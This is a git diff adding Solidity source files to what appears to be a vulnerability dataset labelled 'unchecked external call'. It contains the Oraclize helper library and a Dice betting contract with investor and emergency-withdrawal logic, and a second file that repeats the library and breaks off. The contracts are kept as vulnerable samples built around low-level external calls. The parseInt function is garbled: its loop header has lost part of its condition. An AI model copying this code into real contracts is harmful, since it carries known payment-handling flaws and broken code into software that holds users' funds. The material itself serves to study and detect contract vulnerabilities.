WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. +*/ + +contract OraclizeI { + address public cbAddress; + function query(uint _timestamp, string _datasource, string _arg) returns (bytes32 _id); + function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) returns (bytes32 _id); + function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) returns (bytes32 _id); + function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) returns (bytes32 _id); + function getPrice(string _datasource) returns (uint _dsprice); + function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); + function useCoupon(string _coupon); + function setProofType(byte _proofType); +} +contract OraclizeAddrResolverI { + function getAddress() returns (address _addr); +} +contract usingOraclize { + uint constant day = 60*60*24; + uint constant week = 60*60*24*7; + uint constant month = 60*60*24*30; + byte constant proofType_NONE = 0x00; + byte constant proofType_TLSNotary = 0x10; + byte constant proofStorage_IPFS = 0x01; + uint8 constant networkID_auto = 0; + uint8 constant networkID_mainnet = 1; + uint8 constant networkID_testnet = 2; + uint8 constant networkID_morden = 2; + uint8 constant networkID_consensys = 161; + + OraclizeAddrResolverI OAR; + + OraclizeI oraclize; + modifier oraclizeAPI { + address oraclizeAddr = OAR.getAddress(); + if (oraclizeAddr == 0){ + oraclize_setNetwork(networkID_auto); + oraclizeAddr = OAR.getAddress(); + } + oraclize = OraclizeI(oraclizeAddr); + _ + } + modifier coupon(string code){ + oraclize = OraclizeI(OAR.getAddress()); + oraclize.useCoupon(code); + _ + } + + function oraclize_setNetwork(uint8 networkID) internal returns(bool){ + if (getCodeSize(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed)>0){ + OAR = OraclizeAddrResolverI(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed); + return true; + } + if (getCodeSize(0x9efbea6358bed926b293d2ce63a730d6d98d43dd)>0){ + OAR = OraclizeAddrResolverI(0x9efbea6358bed926b293d2ce63a730d6d98d43dd); + return true; + } + if (getCodeSize(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf)>0){ + OAR = OraclizeAddrResolverI(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf); + return true; + } + return false; + } + + function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query.value(price)(0, datasource, arg); + } + function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query.value(price)(timestamp, datasource, arg); + } + function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); + } + function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); + } + function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query2.value(price)(0, datasource, arg1, arg2); + } + function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); + } + function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); + } + function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); + } + function oraclize_cbAddress() oraclizeAPI internal returns (address){ + return oraclize.cbAddress(); + } + function oraclize_setProof(byte proofP) oraclizeAPI internal { + return oraclize.setProofType(proofP); + } + + function getCodeSize(address _addr) constant internal returns(uint _size) { + assembly { + _size := extcodesize(_addr) + } + } + + + function parseAddr(string _a) internal returns (address){ + bytes memory tmp = bytes(_a); + uint160 iaddr = 0; + uint160 b1; + uint160 b2; + for (uint i=2; i<2+2*20; i+=2){ + iaddr *= 256; + b1 = uint160(tmp[i]); + b2 = uint160(tmp[i+1]); + if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; + else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; + if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; + else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; + iaddr += (b1*16+b2); + } + return address(iaddr); + } + + + function strCompare(string _a, string _b) internal returns (int) { + bytes memory a = bytes(_a); + bytes memory b = bytes(_b); + uint minLength = a.length; + if (b.length < minLength) minLength = b.length; + for (uint i = 0; i < minLength; i ++) + if (a[i] < b[i]) + return -1; + else if (a[i] > b[i]) + return 1; + if (a.length < b.length) + return -1; + else if (a.length > b.length) + return 1; + else + return 0; + } + + function indexOf(string _haystack, string _needle) internal returns (int) + { + bytes memory h = bytes(_haystack); + bytes memory n = bytes(_needle); + if(h.length < 1 || n.length < 1 || (n.length > h.length)) + return -1; + else if(h.length > (2**128 -1)) + return -1; + else + { + uint subindex = 0; + for (uint i = 0; i < h.length; i ++) + { + if (h[i] == n[0]) + { + subindex = 1; + while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) + { + subindex++; + } + if(subindex == n.length) + return int(i); + } + } + return -1; + } + } + + function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string){ + bytes memory _ba = bytes(_a); + bytes memory _bb = bytes(_b); + bytes memory _bc = bytes(_c); + bytes memory _bd = bytes(_d); + bytes memory _be = bytes(_e); + string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); + bytes memory babcde = bytes(abcde); + uint k = 0; + for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; + for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; + for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; + for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; + for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; + return string(babcde); + } + + function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { + return strConcat(_a, _b, _c, _d, ""); + } + + function strConcat(string _a, string _b, string _c) internal returns (string) { + return strConcat(_a, _b, _c, "", ""); + } + + function strConcat(string _a, string _b) internal returns (string) { + return strConcat(_a, _b, "", "", ""); + } + + // parseInt + function parseInt(string _a) internal returns (uint) { + return parseInt(_a, 0); + } + + // parseInt(parseFloat*10^_b) + function parseInt(string _a, uint _b) internal returns (uint) { + bytes memory bresult = bytes(_a); + uint mint = 0; + bool decimals = false; + for (uint i=0; i= 48)&&(bresult[i] <= 57)){ + if (decimals){ + if (_b == 0) break; + else _b--; + } + mint *= 10; + mint += uint(bresult[i]) - 48; + } else if (bresult[i] == 46) decimals = true; + } + if (_b > 0) mint *= 10**_b; + return mint; + } + + +} +// + +contract Dice is usingOraclize { + + uint public pwin = 5000; //probability of winning (10000 = 100%) + uint public edge = 200; //edge percentage (10000 = 100%) + uint public maxWin = 100; //max win (before edge is taken) as percentage of bankroll (10000 = 100%) + uint public minBet = 1 finney; + uint public maxInvestors = 5; //maximum number of investors + uint public houseEdge = 50; //edge percentage (10000 = 100%) + uint public divestFee = 50; //divest fee percentage (10000 = 100%) + uint public emergencyWithdrawalRatio = 90; //ratio percentage (100 = 100%) + + uint safeGas = 25000; + uint constant ORACLIZE_GAS_LIMIT = 125000; + uint constant INVALID_BET_MARKER = 99999; + uint constant EMERGENCY_TIMEOUT = 7 days; + + struct Investor { + address investorAddress; + uint amountInvested; + bool votedForEmergencyWithdrawal; + } + + struct Bet { + address playerAddress; + uint amountBetted; + uint numberRolled; + } + + struct WithdrawalProposal { + address toAddress; + uint atTime; + } + + //Starting at 1 + mapping(address => uint) investorIDs; + mapping(uint => Investor) investors; + uint public numInvestors = 0; + + uint public invested = 0; + + address owner; + address houseAddress; + bool public isStopped; + + WithdrawalProposal proposedWithdrawal; + + mapping (bytes32 => Bet) bets; + bytes32[] betsKeys; + + uint public amountWagered = 0; + uint public investorsProfit = 0; + uint public investorsLoses = 0; + bool profitDistributed; + + event BetWon(address playerAddress, uint numberRolled, uint amountWon); + event BetLost(address playerAddress, uint numberRolled); + event EmergencyWithdrawalProposed(); + event EmergencyWithdrawalFailed(address withdrawalAddress); + event EmergencyWithdrawalSucceeded(address withdrawalAddress, uint amountWithdrawn); + event FailedSend(address receiver, uint amount); + event ValueIsTooBig(); + + function Dice(uint pwinInitial, + uint edgeInitial, + uint maxWinInitial, + uint minBetInitial, + uint maxInvestorsInitial, + uint houseEdgeInitial, + uint divestFeeInitial, + uint emergencyWithdrawalRatioInitial + ) { + + oraclize_setProof(proofType_TLSNotary | proofStorage_IPFS); + + pwin = pwinInitial; + edge = edgeInitial; + maxWin = maxWinInitial; + minBet = minBetInitial; + maxInvestors = maxInvestorsInitial; + houseEdge = houseEdgeInitial; + divestFee = divestFeeInitial; + emergencyWithdrawalRatio = emergencyWithdrawalRatioInitial; + owner = msg.sender; + houseAddress = msg.sender; + } + + //SECTION I: MODIFIERS AND HELPER FUNCTIONS + + //MODIFIERS + + modifier onlyIfNotStopped { + if (isStopped) throw; + _ + } + + modifier onlyIfStopped { + if (!isStopped) throw; + _ + } + + modifier onlyInvestors { + if (investorIDs[msg.sender] == 0) throw; + _ + } + + modifier onlyNotInvestors { + if (investorIDs[msg.sender] != 0) throw; + _ + } + + modifier onlyOwner { + if (owner != msg.sender) throw; + _ + } + + modifier onlyOraclize { + if (msg.sender != oraclize_cbAddress()) throw; + _ + } + + modifier onlyMoreThanMinInvestment { + if (msg.value <= getMinInvestment()) throw; + _ + } + + modifier onlyMoreThanZero { + if (msg.value == 0) throw; + _ + } + + modifier onlyIfBetSizeIsStillCorrect(bytes32 myid) { + Bet thisBet = bets[myid]; + if ((((thisBet.amountBetted * ((10000 - edge) - pwin)) / pwin ) <= (maxWin * getBankroll()) / 10000)) { + _ + } + else { + bets[myid].numberRolled = INVALID_BET_MARKER; + safeSend(thisBet.playerAddress, thisBet.amountBetted); + return; + } + } + + modifier onlyIfValidRoll(bytes32 myid, string result) { + Bet thisBet = bets[myid]; + uint numberRolled = parseInt(result); + if ((numberRolled < 1 || numberRolled > 10000) && thisBet.numberRolled == 0) { + bets[myid].numberRolled = INVALID_BET_MARKER; + safeSend(thisBet.playerAddress, thisBet.amountBetted); + return; + } + _ + } + + modifier onlyIfInvestorBalanceIsPositive(address currentInvestor) { + if (getBalance(currentInvestor) >= 0) { + _ + } + } + + modifier onlyWinningBets(uint numberRolled) { + if (numberRolled - 1 < pwin) { + _ + } + } + + modifier onlyLosingBets(uint numberRolled) { + if (numberRolled - 1 >= pwin) { + _ + } + } + + modifier onlyAfterProposed { + if (proposedWithdrawal.toAddress == 0) throw; + _ + } + + modifier rejectValue { + if (msg.value != 0) throw; + _ + } + + modifier onlyIfProfitNotDistributed { + if (!profitDistributed) { + _ + } + } + + modifier onlyIfValidGas(uint newGasLimit) { + if (newGasLimit < 25000) throw; + _ + } + + modifier onlyIfNotProcessed(bytes32 myid) { + Bet thisBet = bets[myid]; + if (thisBet.numberRolled > 0) throw; + _ + } + + modifier onlyIfEmergencyTimeOutHasPassed { + if (proposedWithdrawal.atTime + EMERGENCY_TIMEOUT > now) throw; + _ + } + + + //CONSTANT HELPER FUNCTIONS + + function getBankroll() constant returns(uint) { + return invested + investorsProfit - investorsLoses; + } + + function getMinInvestment() constant returns(uint) { + if (numInvestors == maxInvestors) { + uint investorID = searchSmallestInvestor(); + return getBalance(investors[investorID].investorAddress); + } + else { + return 0; + } + } + + function getStatus() constant returns(uint, uint, uint, uint, uint, uint, uint, uint, uint) { + + uint bankroll = getBankroll(); + + if (this.balance < bankroll) { + bankroll = this.balance; + } + + uint minInvestment = getMinInvestment(); + + return (bankroll, pwin, edge, maxWin, minBet, amountWagered, (investorsProfit - investorsLoses), minInvestment, betsKeys.length); + } + + function getBet(uint id) constant returns(address, uint, uint) { + if (id < betsKeys.length) { + bytes32 betKey = betsKeys[id]; + return (bets[betKey].playerAddress, bets[betKey].amountBetted, bets[betKey].numberRolled); + } + } + + function numBets() constant returns(uint) { + return betsKeys.length; + } + + function getMinBetAmount() constant returns(uint) { + uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice("URL", ORACLIZE_GAS_LIMIT + safeGas); + return oraclizeFee + minBet; + } + + function getMaxBetAmount() constant returns(uint) { + uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice("URL", ORACLIZE_GAS_LIMIT + safeGas); + uint betValue = (maxWin * getBankroll()) * pwin / (10000 * (10000 - edge - pwin)); + return betValue + oraclizeFee; + } + + function getLosesShare(address currentInvestor) constant returns (uint) { + return investors[investorIDs[currentInvestor]].amountInvested * (investorsLoses) / invested; + } + + function getProfitShare(address currentInvestor) constant returns (uint) { + return investors[investorIDs[currentInvestor]].amountInvested * (investorsProfit) / invested; + } + + function getBalance(address currentInvestor) constant returns (uint) { + return investors[investorIDs[currentInvestor]].amountInvested + getProfitShare(currentInvestor) - getLosesShare(currentInvestor); + } + + // PRIVATE HELPERS FUNCTION + + function searchSmallestInvestor() private returns(uint) { + uint investorID = 1; + for (uint i = 1; i <= numInvestors; i++) { + if (getBalance(investors[i].investorAddress) < getBalance(investors[investorID].investorAddress)) { + investorID = i; + } + } + + return investorID; + } + + function safeSend(address addr, uint value) private { + if (this.balance < value) { + ValueIsTooBig(); + return; + } + + if (!(addr.call.gas(safeGas).value(value)())) { + FailedSend(addr, value); + if (addr != houseAddress) { + //Forward to house address all change + if (!(houseAddress.call.gas(safeGas).value(value)())) FailedSend(houseAddress, value); + } + } + } + + function addInvestorAtID(uint id) private { + investorIDs[msg.sender] = id; + investors[id].investorAddress = msg.sender; + investors[id].amountInvested = msg.value; + invested += msg.value; + } + + function profitDistribution() private onlyIfProfitNotDistributed { + uint copyInvested; + + for (uint i = 1; i <= numInvestors; i++) { + address currentInvestor = investors[i].investorAddress; + uint profitOfInvestor = getProfitShare(currentInvestor); + uint losesOfInvestor = getLosesShare(currentInvestor); + investors[i].amountInvested += profitOfInvestor - losesOfInvestor; + copyInvested += investors[i].amountInvested; + } + + delete investorsProfit; + delete investorsLoses; + invested = copyInvested; + + profitDistributed = true; + } + + // SECTION II: BET & BET PROCESSING + + function() { + bet(); + } + + function bet() onlyIfNotStopped onlyMoreThanZero { + uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice("URL", ORACLIZE_GAS_LIMIT + safeGas); + uint betValue = msg.value - oraclizeFee; + if ((((betValue * ((10000 - edge) - pwin)) / pwin ) <= (maxWin * getBankroll()) / 10000) && (betValue >= minBet)) { + // encrypted arg: '\n{"jsonrpc":2.0,"method":"generateSignedIntegers","params":{"apiKey":"YOUR_API_KEY","n":1,"min":1,"max":10000},"id":1}' + bytes32 myid = oraclize_query("URL", "json(https://api.random.org/json-rpc/1/invoke).result.random.data.0", 'BCPnjiU1UySjNV2Nj003k7TFMVA/ddeUVwDlNnvte/GMShwVuchXA3Ul4vl3U656g7ZMq+H5Upk42wujF4p6gbasCoh7vTMlOXdG3Ehct+buCpx99Y8FSqyoAItrPtSTKZ1BHDnl5UF0oPv4tcG+L9ahH0cD8J6U/5I8OJBvjitE103Fxqo2W90bGIhnBeunSlQoHzN+zMIMmzNQJvp/PtybJSKfmfxiaqC+vCt4CywRLxI8pGijdhbwSzncjwg/wrYHFrJmcugmEPOvx7Entmnpec1MssnR1weOhayIzBU=', ORACLIZE_GAS_LIMIT + safeGas); + bets[myid] = Bet(msg.sender, betValue, 0); + betsKeys.push(myid); + } + else { + throw; + } + } + + function __callback (bytes32 myid, string result, bytes proof) + onlyOraclize + onlyIfNotProcessed(myid) + onlyIfValidRoll(myid, result) + onlyIfBetSizeIsStillCorrect(myid) { + + Bet thisBet = bets[myid]; + uint numberRolled = parseInt(result); + bets[myid].numberRolled = numberRolled; + isWinningBet(thisBet, numberRolled); + isLosingBet(thisBet, numberRolled); + amountWagered += thisBet.amountBetted; + delete profitDistributed; + } + + function isWinningBet(Bet thisBet, uint numberRolled) private onlyWinningBets(numberRolled) { + uint winAmount = (thisBet.amountBetted * (10000 - edge)) / pwin; + BetWon(thisBet.playerAddress, numberRolled, winAmount); + safeSend(thisBet.playerAddress, winAmount); + investorsLoses += (winAmount - thisBet.amountBetted); + } + + function isLosingBet(Bet thisBet, uint numberRolled) private onlyLosingBets(numberRolled) { + BetLost(thisBet.playerAddress, numberRolled); + safeSend(thisBet.playerAddress, 1); + investorsProfit += (thisBet.amountBetted - 1)*(10000 - houseEdge)/10000; + uint houseProfit = (thisBet.amountBetted - 1)*(houseEdge)/10000; + safeSend(houseAddress, houseProfit); + } + + //SECTION III: INVEST & DIVEST + + function increaseInvestment() onlyIfNotStopped onlyMoreThanZero onlyInvestors { + profitDistribution(); + investors[investorIDs[msg.sender]].amountInvested += msg.value; + invested += msg.value; + } + + function newInvestor() + onlyIfNotStopped + onlyMoreThanZero + onlyNotInvestors + onlyMoreThanMinInvestment { + profitDistribution(); + + if (numInvestors < maxInvestors) { + numInvestors++; + addInvestorAtID(numInvestors); + } + else { + uint smallestInvestorID = searchSmallestInvestor(); + divest(investors[smallestInvestorID].investorAddress); + addInvestorAtID(smallestInvestorID); + numInvestors++; + } + } + + function divest() onlyInvestors rejectValue { + divest(msg.sender); + } + + function divest(address currentInvestor) + private + onlyIfInvestorBalanceIsPositive(currentInvestor) { + + profitDistribution(); + uint currentID = investorIDs[currentInvestor]; + uint amountToReturn = getBalance(currentInvestor); + invested -= investors[currentID].amountInvested; + uint divestFeeAmount = (amountToReturn*divestFee)/10000; + amountToReturn -= divestFeeAmount; + //Clean up + numInvestors--; + delete investors[currentID]; + delete investorIDs[currentInvestor]; + safeSend(currentInvestor, amountToReturn); + safeSend(houseAddress, divestFeeAmount); + } + + function forceDivestOfAllInvestors() onlyOwner rejectValue { + uint copyNumInvestors = numInvestors; + for (uint investorID = 1; investorID <= copyNumInvestors; investorID++) { + divest(investors[investorID].investorAddress); + } + } + + /* + The owner can use this function to force the exit of an investor from the + contract during an emergency withdrawal in the following situations: + - Unresponsive investor + - Investor demanding to be paid in other to vote, the facto-blackmailing + other investors + */ + function forceDivestOfOneInvestor(address currentInvestor) + onlyOwner + onlyIfStopped + rejectValue { + + divest(currentInvestor); + //Resets emergency withdrawal proposal. Investors must vote again + delete proposedWithdrawal; + } + + //SECTION IV: CONTRACT MANAGEMENT + + function stopContract() onlyOwner rejectValue { + isStopped = true; + } + + function resumeContract() onlyOwner rejectValue { + isStopped = false; + } + + function changeHouseAddress(address newHouse) onlyOwner rejectValue { + houseAddress = newHouse; + } + + function changeOwnerAddress(address newOwner) onlyOwner rejectValue { + owner = newOwner; + } + + function changeGasLimitOfSafeSend(uint newGasLimit) + onlyOwner + onlyIfValidGas(newGasLimit) + rejectValue { + safeGas = newGasLimit; + } + + //SECTION V: EMERGENCY WITHDRAWAL + + function voteEmergencyWithdrawal(bool vote) + onlyInvestors + onlyAfterProposed + onlyIfStopped + rejectValue { + investors[investorIDs[msg.sender]].votedForEmergencyWithdrawal = vote; + } + + function proposeEmergencyWithdrawal(address withdrawalAddress) + onlyIfStopped + onlyOwner + rejectValue { + + //Resets previous votes + for (uint i = 1; i <= numInvestors; i++) { + delete investors[i].votedForEmergencyWithdrawal; + } + + proposedWithdrawal = WithdrawalProposal(withdrawalAddress, now); + EmergencyWithdrawalProposed(); + } + + function executeEmergencyWithdrawal() + onlyOwner + onlyAfterProposed + onlyIfStopped + onlyIfEmergencyTimeOutHasPassed + rejectValue { + + uint numOfVotesInFavour; + uint amountToWithdrawal = this.balance; + + for (uint i = 1; i <= numInvestors; i++) { + if (investors[i].votedForEmergencyWithdrawal == true) { + numOfVotesInFavour++; + delete investors[i].votedForEmergencyWithdrawal; + } + } + + if (numOfVotesInFavour >= emergencyWithdrawalRatio * numInvestors / 100) { + if (!proposedWithdrawal.toAddress.send(this.balance)) { + EmergencyWithdrawalFailed(proposedWithdrawal.toAddress); + } + else { + EmergencyWithdrawalSucceeded(proposedWithdrawal.toAddress, amountToWithdrawal); + } + } + else { + throw; + } + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40408.sol b/smart_contract_dataset/unchecked external call/40408.sol new file mode 100644 index 0000000000000000000000000000000000000000..1c629a28f2091c9c5a9b2ca4c22e06bf0aa6b549 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40408.sol @@ -0,0 +1,789 @@ +// +/* +Copyright (c) 2015-2016 Oraclize srl, Thomas Bertani + + + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + + + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + + + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. +*/ + +contract OraclizeI { + address public cbAddress; + function query(uint _timestamp, string _datasource, string _arg) returns (bytes32 _id); + function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) returns (bytes32 _id); + function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) returns (bytes32 _id); + function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) returns (bytes32 _id); + function getPrice(string _datasource) returns (uint _dsprice); + function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); + function useCoupon(string _coupon); + function setProofType(byte _proofType); +} +contract OraclizeAddrResolverI { + function getAddress() returns (address _addr); +} +contract usingOraclize { + uint constant day = 60*60*24; + uint constant week = 60*60*24*7; + uint constant month = 60*60*24*30; + byte constant proofType_NONE = 0x00; + byte constant proofType_TLSNotary = 0x10; + byte constant proofStorage_IPFS = 0x01; + uint8 constant networkID_auto = 0; + uint8 constant networkID_mainnet = 1; + uint8 constant networkID_testnet = 2; + uint8 constant networkID_morden = 2; + uint8 constant networkID_consensys = 161; + + OraclizeAddrResolverI OAR; + + OraclizeI oraclize; + modifier oraclizeAPI { + address oraclizeAddr = OAR.getAddress(); + if (oraclizeAddr == 0){ + oraclize_setNetwork(networkID_auto); + oraclizeAddr = OAR.getAddress(); + } + oraclize = OraclizeI(oraclizeAddr); + _ + } + modifier coupon(string code){ + oraclize = OraclizeI(OAR.getAddress()); + oraclize.useCoupon(code); + _ + } + + function oraclize_setNetwork(uint8 networkID) internal returns(bool){ + if (getCodeSize(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed)>0){ + OAR = OraclizeAddrResolverI(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed); + return true; + } + if (getCodeSize(0x9efbea6358bed926b293d2ce63a730d6d98d43dd)>0){ + OAR = OraclizeAddrResolverI(0x9efbea6358bed926b293d2ce63a730d6d98d43dd); + return true; + } + if (getCodeSize(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf)>0){ + OAR = OraclizeAddrResolverI(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf); + return true; + } + return false; + } + + function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query.value(price)(0, datasource, arg); + } + function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query.value(price)(timestamp, datasource, arg); + } + function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); + } + function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); + } + function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query2.value(price)(0, datasource, arg1, arg2); + } + function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource); + if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price + return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); + } + function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); + } + function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ + uint price = oraclize.getPrice(datasource, gaslimit); + if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price + return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); + } + function oraclize_cbAddress() oraclizeAPI internal returns (address){ + return oraclize.cbAddress(); + } + function oraclize_setProof(byte proofP) oraclizeAPI internal { + return oraclize.setProofType(proofP); + } + + function getCodeSize(address _addr) constant internal returns(uint _size) { + assembly { + _size := extcodesize(_addr) + } + } + + + function parseAddr(string _a) internal returns (address){ + bytes memory tmp = bytes(_a); + uint160 iaddr = 0; + uint160 b1; + uint160 b2; + for (uint i=2; i<2+2*20; i+=2){ + iaddr *= 256; + b1 = uint160(tmp[i]); + b2 = uint160(tmp[i+1]); + if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; + else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; + if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; + else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; + iaddr += (b1*16+b2); + } + return address(iaddr); + } + + + function strCompare(string _a, string _b) internal returns (int) { + bytes memory a = bytes(_a); + bytes memory b = bytes(_b); + uint minLength = a.length; + if (b.length < minLength) minLength = b.length; + for (uint i = 0; i < minLength; i ++) + if (a[i] < b[i]) + return -1; + else if (a[i] > b[i]) + return 1; + if (a.length < b.length) + return -1; + else if (a.length > b.length) + return 1; + else + return 0; + } + + function indexOf(string _haystack, string _needle) internal returns (int) + { + bytes memory h = bytes(_haystack); + bytes memory n = bytes(_needle); + if(h.length < 1 || n.length < 1 || (n.length > h.length)) + return -1; + else if(h.length > (2**128 -1)) + return -1; + else + { + uint subindex = 0; + for (uint i = 0; i < h.length; i ++) + { + if (h[i] == n[0]) + { + subindex = 1; + while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) + { + subindex++; + } + if(subindex == n.length) + return int(i); + } + } + return -1; + } + } + + function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string){ + bytes memory _ba = bytes(_a); + bytes memory _bb = bytes(_b); + bytes memory _bc = bytes(_c); + bytes memory _bd = bytes(_d); + bytes memory _be = bytes(_e); + string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); + bytes memory babcde = bytes(abcde); + uint k = 0; + for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; + for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; + for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; + for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; + for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; + return string(babcde); + } + + function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { + return strConcat(_a, _b, _c, _d, ""); + } + + function strConcat(string _a, string _b, string _c) internal returns (string) { + return strConcat(_a, _b, _c, "", ""); + } + + function strConcat(string _a, string _b) internal returns (string) { + return strConcat(_a, _b, "", "", ""); + } + + 